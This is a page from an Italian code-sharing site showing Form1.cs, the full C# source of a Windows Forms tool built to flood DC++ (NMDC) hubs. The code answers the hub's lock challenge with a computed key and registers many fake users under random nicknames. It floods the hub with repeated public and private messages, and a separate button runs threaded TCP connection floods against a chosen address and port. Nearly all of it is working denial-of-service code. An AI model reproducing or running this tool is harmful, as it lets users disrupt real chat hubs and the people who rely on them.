Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Esempio DI Flodder x DC++ Usando un Timer - Form1.cs

Form1.cs

Caricato da:
Scarica il programma completo

  1. using System;
  2. using System.Drawing;
  3. using System.Collections;
  4. using System.ComponentModel;
  5. using System.Windows.Forms;
  6. using System.Data;
  7. using System.Net.Sockets;
  8. using System.Net;
  9. using System.Text;
  10. using System.Threading;
  11. using System.Diagnostics;
  12.  
  13. namespace boh
  14. {
  15.         /// <summary>
  16.         /// Descrizione di riepilogo per Form1.
  17.         /// </summary>
  18.         public class Form1 : System.Windows.Forms.Form
  19.         {
  20.             Thread t;  
  21.                 Thread l;
  22.                 Random rand = new Random();
  23.                 int i = 0;
  24.                 ArrayList sock = new ArrayList();
  25.                 bool status=false;
  26.                 IPEndPoint iep;
  27.                 private System.Windows.Forms.Button button4;
  28.                 int count = 0;
  29.                
  30.                 private System.Windows.Forms.Button button1;
  31.                 private System.Windows.Forms.NumericUpDown n;
  32.                 private System.Windows.Forms.TextBox ip;
  33.                 private System.Windows.Forms.TextBox porta;
  34.                 private System.Windows.Forms.Button button2;
  35.                 private System.Windows.Forms.Label label2;
  36.                 private System.Windows.Forms.Label label3;
  37.                 private System.Windows.Forms.Label label4;
  38.                 private System.Windows.Forms.TextBox mas;
  39.                 private System.Windows.Forms.TextBox delay;
  40.                 private System.Windows.Forms.Button button3;
  41.                 private System.Windows.Forms.TextBox tr;
  42.                 private System.Windows.Forms.PictureBox pictureBox1;
  43.                 private System.Windows.Forms.Label label1;
  44.                 private System.Windows.Forms.Label label5;
  45.                 private System.Windows.Forms.Label label6;
  46.                 private System.Windows.Forms.Label label7;
  47.                 private System.Windows.Forms.Label label9;
  48.                 private System.Windows.Forms.Label label10;
  49.                 private System.Windows.Forms.Timer timer1;
  50.                 private System.Windows.Forms.TextBox lol;
  51.                 private System.Windows.Forms.TextBox testo;
  52.                 private System.Windows.Forms.TextBox nick;
  53.                 private System.Windows.Forms.TextBox nick2;
  54.                 private System.Windows.Forms.Label label8;
  55.                 private System.Windows.Forms.Label label11;
  56.                 private System.ComponentModel.IContainer components;
  57.  
  58.                 public Form1()
  59.                 {
  60.                         //
  61.                         // Necessario per il supporto di Progettazione Windows Form
  62.                         //
  63.                         InitializeComponent();
  64.  
  65.                         //
  66.                         // TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
  67.                         //
  68.                 }
  69.  
  70.                 /// <summary>
  71.                 /// Pulire le risorse in uso.
  72.                 /// </summary>
  73.                 protected override void Dispose( bool disposing )
  74.                 {
  75.                         if( disposing )
  76.                         {
  77.                                 if (components != null)
  78.                                 {
  79.                                         components.Dispose();
  80.                                 }
  81.                         }
  82.                         base.Dispose( disposing );
  83.                 }
  84.                 void Colori()
  85.                 {
  86.                         while(true)
  87.                         {
  88.                                 label2.ForeColor = Color.Red;
  89.                                 Thread.Sleep(1000);
  90.                                 label2.ForeColor = Color.Black;
  91.                                 Thread.Sleep(1000);
  92.                                 label3.ForeColor = Color.Red;
  93.                                 Thread.Sleep(1000);
  94.                                 label3.ForeColor = Color.Black;
  95.                                 Thread.Sleep(1000);
  96.                                 label4.ForeColor = Color.Red;
  97.                                 Thread.Sleep(1000);
  98.                                 label4.ForeColor = Color.Black;
  99.                                 Thread.Sleep(1000);
  100.                         }
  101.                 }
  102.                 private void ConnectCallback(IAsyncResult ar)
  103.                 {
  104.                         if(status)
  105.                         {
  106.                                 Socket client = (Socket) ar.AsyncState;
  107.                                 try
  108.                                 {
  109.                                         client.EndConnect(ar); 
  110.                                         sock.Add(client);
  111.                                         if(sock.Count>=2000)
  112.                                         {
  113.                                                
  114.                                                 client.Close();
  115.                                         }
  116.                                         count++;
  117.                                 }
  118.                                 catch(Exception e1)
  119.                                 {
  120.                                         client.Close();
  121.                                 }
  122.                         }
  123.                 }
  124.                 public void Attacca()
  125.                 {
  126.                         while(status)
  127.                         {
  128.                                 try
  129.                                 {
  130.                                         IPHostEntry ihe = Dns.Resolve(ip.Text);
  131.                                         IPEndPoint iep1 = new IPEndPoint(ihe.AddressList[0],Convert.ToInt32(porta.Text));                              
  132.                                         Socket s = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  133.                                         s.Connect(iep1);
  134.                                         Thread.Sleep(Convert.ToInt32(delay.Text));
  135.                                         count++;
  136.                                 }
  137.                                 catch(Exception e1)
  138.                                 {
  139.                                 }
  140.                         }
  141.                 }
  142.                 #region Codice generato da Progettazione Windows Form
  143.                 /// <summary>
  144.                 /// Metodo necessario per il supporto della finestra di progettazione. Non modificare
  145.                 /// il contenuto del metodo con l'editor di codice.
  146.                 /// </summary>
  147.                 private void InitializeComponent()
  148.                 {
  149.                         this.components = new System.ComponentModel.Container();
  150.                         System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(Form1));
  151.                         this.n = new System.Windows.Forms.NumericUpDown();
  152.                         this.button1 = new System.Windows.Forms.Button();
  153.                         this.ip = new System.Windows.Forms.TextBox();
  154.                         this.porta = new System.Windows.Forms.TextBox();
  155.                         this.button2 = new System.Windows.Forms.Button();
  156.                         this.label2 = new System.Windows.Forms.Label();
  157.                         this.label3 = new System.Windows.Forms.Label();
  158.                         this.label4 = new System.Windows.Forms.Label();
  159.                         this.mas = new System.Windows.Forms.TextBox();
  160.                         this.delay = new System.Windows.Forms.TextBox();
  161.                         this.button3 = new System.Windows.Forms.Button();
  162.                         this.tr = new System.Windows.Forms.TextBox();
  163.                         this.pictureBox1 = new System.Windows.Forms.PictureBox();
  164.                         this.label1 = new System.Windows.Forms.Label();
  165.                         this.label5 = new System.Windows.Forms.Label();
  166.                         this.label6 = new System.Windows.Forms.Label();
  167.                         this.label7 = new System.Windows.Forms.Label();
  168.                         this.label9 = new System.Windows.Forms.Label();
  169.                         this.label10 = new System.Windows.Forms.Label();
  170.                         this.timer1 = new System.Windows.Forms.Timer(this.components);
  171.                         this.lol = new System.Windows.Forms.TextBox();
  172.                         this.testo = new System.Windows.Forms.TextBox();
  173.                         this.nick2 = new System.Windows.Forms.TextBox();
  174.                         this.button4 = new System.Windows.Forms.Button();
  175.                         this.label8 = new System.Windows.Forms.Label();
  176.                         this.label11 = new System.Windows.Forms.Label();
  177.                         ((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
  178.                         this.SuspendLayout();
  179.                         //
  180.                         // n
  181.                         //
  182.                         this.n.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  183.                         this.n.ForeColor = System.Drawing.Color.Black;
  184.                         this.n.Location = new System.Drawing.Point(168, 184);
  185.                         this.n.Maximum = new System.Decimal(new int[] {
  186.                                                                                                                           1000,
  187.                                                                                                                           0,
  188.                                                                                                                           0,
  189.                                                                                                                           0});
  190.                         this.n.Name = "n";
  191.                         this.n.Size = new System.Drawing.Size(88, 26);
  192.                         this.n.TabIndex = 0;
  193.                         this.n.Value = new System.Decimal(new int[] {
  194.                                                                                                                         1,
  195.                                                                                                                         0,
  196.                                                                                                                         0,
  197.                                                                                                                         0});
  198.                         //
  199.                         // button1
  200.                         //
  201.                         this.button1.BackColor = System.Drawing.Color.Transparent;
  202.                         this.button1.Font = new System.Drawing.Font("Comic Sans MS", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  203.                         this.button1.ForeColor = System.Drawing.Color.Red;
  204.                         this.button1.Location = new System.Drawing.Point(8, 456);
  205.                         this.button1.Name = "button1";
  206.                         this.button1.Size = new System.Drawing.Size(136, 40);
  207.                         this.button1.TabIndex = 1;
  208.                         this.button1.Text = "FLoDDa!!!";
  209.                         this.button1.Click += new System.EventHandler(this.button1_Click);
  210.                         //
  211.                         // ip
  212.                         //
  213.                         this.ip.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  214.                         this.ip.ForeColor = System.Drawing.Color.Black;
  215.                         this.ip.Location = new System.Drawing.Point(168, 104);
  216.                         this.ip.Name = "ip";
  217.                         this.ip.Size = new System.Drawing.Size(104, 26);
  218.                         this.ip.TabIndex = 2;
  219.                         this.ip.Text = "Indirizzo";
  220.                         //
  221.                         // porta
  222.                         //
  223.                         this.porta.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  224.                         this.porta.ForeColor = System.Drawing.Color.Black;
  225.                         this.porta.Location = new System.Drawing.Point(168, 144);
  226.                         this.porta.Name = "porta";
  227.                         this.porta.Size = new System.Drawing.Size(72, 26);
  228.                         this.porta.TabIndex = 3;
  229.                         this.porta.Text = "411";
  230.                         //
  231.                         // button2
  232.                         //
  233.                         this.button2.BackColor = System.Drawing.Color.Transparent;
  234.                         this.button2.Font = new System.Drawing.Font("Comic Sans MS", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  235.                         this.button2.ForeColor = System.Drawing.Color.Red;
  236.                         this.button2.Location = new System.Drawing.Point(352, 456);
  237.                         this.button2.Name = "button2";
  238.                         this.button2.Size = new System.Drawing.Size(104, 40);
  239.                         this.button2.TabIndex = 4;
  240.                         this.button2.Text = "ESCi!!!";
  241.                         this.button2.Click += new System.EventHandler(this.button2_Click);
  242.                         //
  243.                         // label2
  244.                         //
  245.                         this.label2.BackColor = System.Drawing.Color.Transparent;
  246.                         this.label2.Font = new System.Drawing.Font("Comic Sans MS", 36F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  247.                         this.label2.ForeColor = System.Drawing.Color.Black;
  248.                         this.label2.Location = new System.Drawing.Point(8, 504);
  249.                         this.label2.Name = "label2";
  250.                         this.label2.Size = new System.Drawing.Size(64, 56);
  251.                         this.label2.TabIndex = 6;
  252.                         this.label2.Text = "6";
  253.                         //
  254.                         // label3
  255.                         //
  256.                         this.label3.BackColor = System.Drawing.Color.Transparent;
  257.                         this.label3.Font = new System.Drawing.Font("Comic Sans MS", 36F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  258.                         this.label3.ForeColor = System.Drawing.Color.Black;
  259.                         this.label3.Location = new System.Drawing.Point(424, 504);
  260.                         this.label3.Name = "label3";
  261.                         this.label3.Size = new System.Drawing.Size(64, 56);
  262.                         this.label3.TabIndex = 7;
  263.                         this.label3.Text = "6";
  264.                         //
  265.                         // label4
  266.                         //
  267.                         this.label4.BackColor = System.Drawing.Color.Transparent;
  268.                         this.label4.Font = new System.Drawing.Font("Comic Sans MS", 36F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  269.                         this.label4.ForeColor = System.Drawing.Color.Black;
  270.                         this.label4.Location = new System.Drawing.Point(216, 504);
  271.                         this.label4.Name = "label4";
  272.                         this.label4.Size = new System.Drawing.Size(64, 56);
  273.                         this.label4.TabIndex = 8;
  274.                         this.label4.Text = "6";
  275.                         //
  276.                         // mas
  277.                         //
  278.                         this.mas.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  279.                         this.mas.ForeColor = System.Drawing.Color.Black;
  280.                         this.mas.Location = new System.Drawing.Point(168, 224);
  281.                         this.mas.Name = "mas";
  282.                         this.mas.Size = new System.Drawing.Size(32, 26);
  283.                         this.mas.TabIndex = 14;
  284.                         this.mas.Text = "4";
  285.                         //
  286.                         // delay
  287.                         //
  288.                         this.delay.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  289.                         this.delay.ForeColor = System.Drawing.Color.Black;
  290.                         this.delay.Location = new System.Drawing.Point(168, 304);
  291.                         this.delay.Name = "delay";
  292.                         this.delay.Size = new System.Drawing.Size(32, 26);
  293.                         this.delay.TabIndex = 16;
  294.                         this.delay.Text = "1";
  295.                         //
  296.                         // button3
  297.                         //
  298.                         this.button3.BackColor = System.Drawing.Color.Transparent;
  299.                         this.button3.Font = new System.Drawing.Font("Comic Sans MS", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  300.                         this.button3.ForeColor = System.Drawing.Color.Red;
  301.                         this.button3.Location = new System.Drawing.Point(184, 456);
  302.                         this.button3.Name = "button3";
  303.                         this.button3.Size = new System.Drawing.Size(128, 40);
  304.                         this.button3.TabIndex = 17;
  305.                         this.button3.Text = "SynFLoDDa";
  306.                         this.button3.Click += new System.EventHandler(this.button3_Click);
  307.                         //
  308.                         // tr
  309.                         //
  310.                         this.tr.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  311.                         this.tr.ForeColor = System.Drawing.Color.Black;
  312.                         this.tr.Location = new System.Drawing.Point(168, 264);
  313.                         this.tr.Name = "tr";
  314.                         this.tr.Size = new System.Drawing.Size(32, 26);
  315.                         this.tr.TabIndex = 18;
  316.                         this.tr.Text = "3";
  317.                         //
  318.                         // pictureBox1
  319.                         //
  320.                         this.pictureBox1.BackColor = System.Drawing.Color.Transparent;
  321.                         this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image")));
  322.                         this.pictureBox1.Location = new System.Drawing.Point(120, 0);
  323.                         this.pictureBox1.Name = "pictureBox1";
  324.                         this.pictureBox1.Size = new System.Drawing.Size(272, 88);
  325.                         this.pictureBox1.TabIndex = 19;
  326.                         this.pictureBox1.TabStop = false;
  327.                         //
  328.                         // label1
  329.                         //
  330.                         this.label1.BackColor = System.Drawing.Color.Transparent;
  331.                         this.label1.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  332.                         this.label1.ForeColor = System.Drawing.Color.Red;
  333.                         this.label1.Location = new System.Drawing.Point(8, 104);
  334.                         this.label1.Name = "label1";
  335.                         this.label1.Size = new System.Drawing.Size(128, 24);
  336.                         this.label1.TabIndex = 20;
  337.                         this.label1.Text = "InDiRiZZo HuB";
  338.                         //
  339.                         // label5
  340.                         //
  341.                         this.label5.BackColor = System.Drawing.Color.Transparent;
  342.                         this.label5.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  343.                         this.label5.ForeColor = System.Drawing.Color.Red;
  344.                         this.label5.Location = new System.Drawing.Point(8, 144);
  345.                         this.label5.Name = "label5";
  346.                         this.label5.Size = new System.Drawing.Size(72, 24);
  347.                         this.label5.TabIndex = 21;
  348.                         this.label5.Text = "PoRTa";
  349.                         //
  350.                         // label6
  351.                         //
  352.                         this.label6.BackColor = System.Drawing.Color.Transparent;
  353.                         this.label6.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  354.                         this.label6.ForeColor = System.Drawing.Color.Red;
  355.                         this.label6.Location = new System.Drawing.Point(8, 184);
  356.                         this.label6.Name = "label6";
  357.                         this.label6.Size = new System.Drawing.Size(80, 24);
  358.                         this.label6.TabIndex = 22;
  359.                         this.label6.Text = "N°USeR";
  360.                         //
  361.                         // label7
  362.                         //
  363.                         this.label7.BackColor = System.Drawing.Color.Transparent;
  364.                         this.label7.Font = new System.Drawing.Font("Comic Sans MS", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  365.                         this.label7.ForeColor = System.Drawing.Color.Red;
  366.                         this.label7.Location = new System.Drawing.Point(8, 224);
  367.                         this.label7.Name = "label7";
  368.                         this.label7.Size = new System.Drawing.Size(160, 24);
  369.                         this.label7.TabIndex = 23;
  370.                         this.label7.Text = "N°MeSSaGGi FLooD";
  371.                         //
  372.                         // label9
  373.                         //
  374.                         this.label9.BackColor = System.Drawing.Color.Transparent;
  375.                         this.label9.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  376.                         this.label9.ForeColor = System.Drawing.Color.Red;
  377.                         this.label9.Location = new System.Drawing.Point(8, 264);
  378.                         this.label9.Name = "label9";
  379.                         this.label9.Size = new System.Drawing.Size(120, 24);
  380.                         this.label9.TabIndex = 25;
  381.                         this.label9.Text = "N° SyNFLooD";
  382.                         //
  383.                         // label10
  384.                         //
  385.                         this.label10.BackColor = System.Drawing.Color.Transparent;
  386.                         this.label10.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  387.                         this.label10.ForeColor = System.Drawing.Color.Red;
  388.                         this.label10.Location = new System.Drawing.Point(8, 304);
  389.                         this.label10.Name = "label10";
  390.                         this.label10.Size = new System.Drawing.Size(152, 24);
  391.                         this.label10.TabIndex = 26;
  392.                         this.label10.Text = "DeLaY SyNFLooD";
  393.                         //
  394.                         // timer1
  395.                         //
  396.                         this.timer1.Interval = 1;
  397.                         this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
  398.                         //
  399.                         // lol
  400.                         //
  401.                         this.lol.Location = new System.Drawing.Point(456, 32);
  402.                         this.lol.Multiline = true;
  403.                         this.lol.Name = "lol";
  404.                         this.lol.Size = new System.Drawing.Size(256, 496);
  405.                         this.lol.TabIndex = 27;
  406.                         this.lol.Text = "";
  407.                         this.lol.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
  408.                         //
  409.                         // testo
  410.                         //
  411.                         this.testo.Location = new System.Drawing.Point(728, 120);
  412.                         this.testo.Name = "testo";
  413.                         this.testo.Size = new System.Drawing.Size(40, 21);
  414.                         this.testo.TabIndex = 28;
  415.                         this.testo.Text = "";
  416.                         //
  417.                         // nick2
  418.                         //
  419.                         this.nick2.Location = new System.Drawing.Point(728, 24);
  420.                         this.nick2.Name = "nick2";
  421.                         this.nick2.Size = new System.Drawing.Size(64, 21);
  422.                         this.nick2.TabIndex = 29;
  423.                         this.nick2.Text = "textBox1";
  424.                         //
  425.                         // button4
  426.                         //
  427.                         this.button4.Location = new System.Drawing.Point(728, 64);
  428.                         this.button4.Name = "button4";
  429.                         this.button4.Size = new System.Drawing.Size(56, 24);
  430.                         this.button4.TabIndex = 30;
  431.                         this.button4.Text = "button4";
  432.                         this.button4.Click += new System.EventHandler(this.button4_Click);
  433.                         //
  434.                         // label8
  435.                         //
  436.                         this.label8.BackColor = System.Drawing.Color.Transparent;
  437.                         this.label8.Font = new System.Drawing.Font("Comic Sans MS", 11.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  438.                         this.label8.ForeColor = System.Drawing.Color.Red;
  439.                         this.label8.Location = new System.Drawing.Point(520, 8);
  440.                         this.label8.Name = "label8";
  441.                         this.label8.Size = new System.Drawing.Size(144, 24);
  442.                         this.label8.TabIndex = 31;
  443.                         this.label8.Text = "FRaSe FLooD";
  444.                         //
  445.                         // label11
  446.                         //
  447.                         this.label11.BackColor = System.Drawing.Color.Transparent;
  448.                         this.label11.Font = new System.Drawing.Font("Comic Sans MS", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  449.                         this.label11.ForeColor = System.Drawing.Color.White;
  450.                         this.label11.Location = new System.Drawing.Point(8, 344);
  451.                         this.label11.Name = "label11";
  452.                         this.label11.Size = new System.Drawing.Size(432, 96);
  453.                         this.label11.TabIndex = 32;
  454.                         this.label11.Text = "RiSPeTTo ALLa VeRSioNe PReCeDeNTe è STaTa AGGiuNTa UNa TexT BoX + GRaNDe ANKe x F" +
  455.                                 "LoDDaRe + VeLoCeMeNTe,Ed è STaTa AuMeNTaTa Di MoLTo La VeLoCiTà DeL FLooD";
  456.                         //
  457.                         // Form1
  458.                         //
  459.                         this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
  460.                         this.BackColor = System.Drawing.Color.Black;
  461.                         this.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("$this.BackgroundImage")));
  462.                         this.ClientSize = new System.Drawing.Size(722, 568);
  463.                         this.ControlBox = false;
  464.                         this.Controls.Add(this.label11);
  465.                         this.Controls.Add(this.label8);
  466.                         this.Controls.Add(this.button4);
  467.                         this.Controls.Add(this.nick2);
  468.                         this.Controls.Add(this.testo);
  469.                         this.Controls.Add(this.lol);
  470.                         this.Controls.Add(this.label10);
  471.                         this.Controls.Add(this.label9);
  472.                         this.Controls.Add(this.label7);
  473.                         this.Controls.Add(this.label6);
  474.                         this.Controls.Add(this.label5);
  475.                         this.Controls.Add(this.label1);
  476.                         this.Controls.Add(this.pictureBox1);
  477.                         this.Controls.Add(this.tr);
  478.                         this.Controls.Add(this.button3);
  479.                         this.Controls.Add(this.delay);
  480.                         this.Controls.Add(this.mas);
  481.                         this.Controls.Add(this.label4);
  482.                         this.Controls.Add(this.label3);
  483.                         this.Controls.Add(this.label2);
  484.                         this.Controls.Add(this.button2);
  485.                         this.Controls.Add(this.porta);
  486.                         this.Controls.Add(this.ip);
  487.                         this.Controls.Add(this.button1);
  488.                         this.Controls.Add(this.n);
  489.                         this.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));
  490.                         this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
  491.                         this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
  492.                         this.Name = "Form1";
  493.                         this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
  494.                         this.Text = "                 (¯`º¤ø-§å†åÑå Ѐ][V][øÑiå¢ ƒløøÐ 1.3 R€løåЀР-ø¤º´¯)";
  495.                         this.Load += new System.EventHandler(this.Form1_Load);
  496.                         ((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
  497.                         this.ResumeLayout(false);
  498.  
  499.                 }
  500.                 #endregion
  501.  
  502.                 /// <summary>
  503.                 /// Il punto di ingresso principale dell'applicazione.
  504.                 /// </summary>
  505.                 [STAThread]
  506.                 static void Main()
  507.                 {
  508.                         Application.Run(new Form1());
  509.                 }
  510.  
  511.                 public string GeneraNickCasuali()
  512.                 {
  513.                         string nome = "";
  514.                         int max = rand.Next(4,8);
  515.                         int i;
  516.                        
  517.                         for(i=0;i<max;i++)
  518.                         {              
  519.                                 int g = rand.Next(97,122);
  520.                                 nome += (char)g;
  521.                         }
  522.                         return nome;
  523.                 }
  524.                
  525.  
  526.  
  527.                 string getKey(string lockz)
  528.                 {
  529.                         byte[] lock0=Encoding.Default.GetBytes(lockz);
  530.                         int[] key = new int[lock0.Length];
  531.                         for (int i = 1; i < lock0.Length; i++)
  532.                         {
  533.                                 key[i] = (lock0[i] ^ lock0[i-1]);
  534.                         }
  535.                         key[0] = (lock0[0] ^ lock0[lock0.Length-1] ^ lock0[lock0.Length-2] ^ 5);
  536.                         for (int i = 0; i < key.Length; i++)
  537.                         {
  538.                                 key[i] = (((key[i]<<4) & 240) | ((key[i]>>4) & 15));
  539.                         }
  540.                         byte[] sKey = new byte[516];
  541.                         int len = 0;
  542.                         for ( int i = 0; i<key.Length ; i++)
  543.                         {
  544.                                 if(key[i] == 0)
  545.                                 {
  546.                                         //    "/%DCN000%/"
  547.                                         for(int ii = 0; ii < "/%DCN000%/".Length; ii++)
  548.                                         {
  549.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN000%/"))[ii];
  550.                                                 len++;
  551.                                         }
  552.                                 }
  553.                                 else if(key[i] == 5)
  554.                                 {
  555.                                         for(int ii = 0; ii < "/%DCN005%/".Length; ii++)
  556.                                         {
  557.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN005%/"))[ii];
  558.                                                 len++;
  559.                                         }
  560.                                 }
  561.                                 else if(key[i] == 36)
  562.                                 {
  563.                                         for(int ii = 0; ii < "/%DCN036%/".Length; ii++)
  564.                                         {
  565.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN036%/"))[ii];
  566.                                                 len++;
  567.                                         }
  568.                                 }
  569.                                 else if(key[i] == 96)
  570.                                 {
  571.                                         for(int ii = 0; ii < "/%DCN096%/".Length; ii++)
  572.                                         {
  573.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN096%/"))[ii];
  574.                                                 len++;
  575.                                         }
  576.                                 }
  577.                                 else if(key[i] == 124)
  578.                                 {
  579.                                         for(int ii = 0; ii < "/%DCN124%/".Length; ii++)
  580.                                         {
  581.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN124%/"))[ii];
  582.                                                 len++;
  583.                                         }
  584.                                 }
  585.                                 else if(key[i] == 126)
  586.                                 {
  587.                                         for(int ii = 0; ii < "/%DCN126%/".Length; ii++)
  588.                                         {
  589.                                                 sKey[len] = (Encoding.Default.GetBytes("/%DCN126%/"))[ii];
  590.                                                 len++;
  591.                                         }
  592.                                 }
  593.                                 else
  594.                                 {
  595.                                         sKey[len] = (byte)key[i];
  596.                                         len++;
  597.                                 }
  598.                         }
  599.                         byte[] aux = new byte[len];
  600.                         for(int i = 0; i < len; i++)
  601.                         {
  602.                                 aux[i] = sKey[i];
  603.                         }
  604.        
  605.                         return Encoding.Default.GetString(aux);
  606.                 }
  607.  
  608.                 void Send(Socket s, string send)
  609.                 {
  610.                         try
  611.                         {
  612.                                 s.Send(Encoding.Default.GetBytes(send+"|"));
  613.                         }
  614.                         catch{}
  615.                 }
  616.  
  617.                 private void button1_Click(object sender, System.EventArgs e)
  618.                 {
  619.                       timer1.Start();
  620.                           timer1.Interval = 1000;
  621.                 }
  622.  
  623.        
  624.  
  625.                 private void Form1_Load(object sender, System.EventArgs e)
  626.                 {
  627.                         t = new Thread(new ThreadStart(Colori));
  628.                         t.Start();
  629.                 }
  630.  
  631.                 private void button2_Click(object sender, System.EventArgs e)
  632.                 {
  633.                        
  634.                         DialogResult dr;
  635.                         dr = MessageBox.Show("Vuoi Chiudere L'USeR FLooD? (Gli user creati si disconnetteranno)?","SaTaNa USeR FLooD",MessageBoxButtons.YesNo,MessageBoxIcon.Error);
  636.                         if(dr==DialogResult.Yes)
  637.                         {
  638.                                 Process p = Process.GetCurrentProcess();
  639.                                 p.Kill();
  640.                                 this.Close();
  641.                         }
  642.                         if(dr==DialogResult.No)
  643.                         {
  644.                                 return;
  645.                         }
  646.                 }
  647.  
  648.                 private void button3_Click(object sender, System.EventArgs e)
  649.                 {
  650.                         for(int i = 0;i<Convert.ToInt32(tr.Text);i++)
  651.                         {
  652.                                 l = new Thread(new ThreadStart(Attacca));
  653.                                 l.Start();
  654.                                
  655.                         }      
  656.                 }
  657.  
  658.                 private void timer1_Tick(object sender, System.EventArgs e)
  659.                 {
  660.                                 IPHostEntry ihe = Dns.Resolve(ip.Text);
  661.                                 IPEndPoint iep = new IPEndPoint(ihe.AddressList[0],Convert.ToInt32(porta.Text));
  662.                                 for(int i = 0;i<n.Value;i++)
  663.                                 {
  664.                                         try
  665.                                         {
  666.                                                
  667.                                                 string nick7 = nick2.Text;
  668.                                                 Socket s = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  669.                                                 s.Connect(iep);
  670.                                                 byte[] buffer = new byte[1024];
  671.                                                 s.Receive(buffer);
  672.                                                 string lockepk = Encoding.Default.GetString(buffer);
  673.                                                 string[] st = lockepk.Split(' ');
  674.                                                 string lock0 = st[1];
  675.                                                 string key = "$Key "+getKey(lock0);
  676.                                                 string nick = GeneraNickCasuali();
  677.                                                 Send(s,key);
  678.                                                 Send(s,"$ValidateNick "+nick);
  679.                                                 Send(s,"$Version 1,0091");
  680.                                                 Send(s,"$MyINFO $ALL "+nick+" SaTaNaUSeRFLooD<++ V:0.668,M:A,H:0/0/1,S:2>$ $DSL$$115894710861$|");
  681.                                                 for(int f = 0;f<Convert.ToInt32(mas.Text);f++)
  682.                                                 {
  683.                                                         byte[] msg = Encoding.Default.GetBytes("<"+nick+"> "+lol.Text+" |");
  684.                                                         s.Send(msg);
  685.                                                         byte[] msg3 = Encoding.Default.GetBytes("$To: "+nick7+" From: "+nick+" $<"+nick+"> SoKaaaa|");
  686.                                                         s.Send(msg3);
  687.                                                 }
  688.                                        
  689.                                         }
  690.  
  691.                                         catch
  692.                                         {
  693.                                                 MessageBox.Show("Impossibile Connettersi");
  694.                                         }
  695.                                 }
  696.                         }
  697.  
  698.                 private void textBox1_TextChanged(object sender, System.EventArgs e)
  699.                 {
  700.                
  701.                 }
  702.  
  703.                 private void button4_Click(object sender, System.EventArgs e)
  704.                 {
  705.                
  706.                 }
  707.                 }
  708.                 }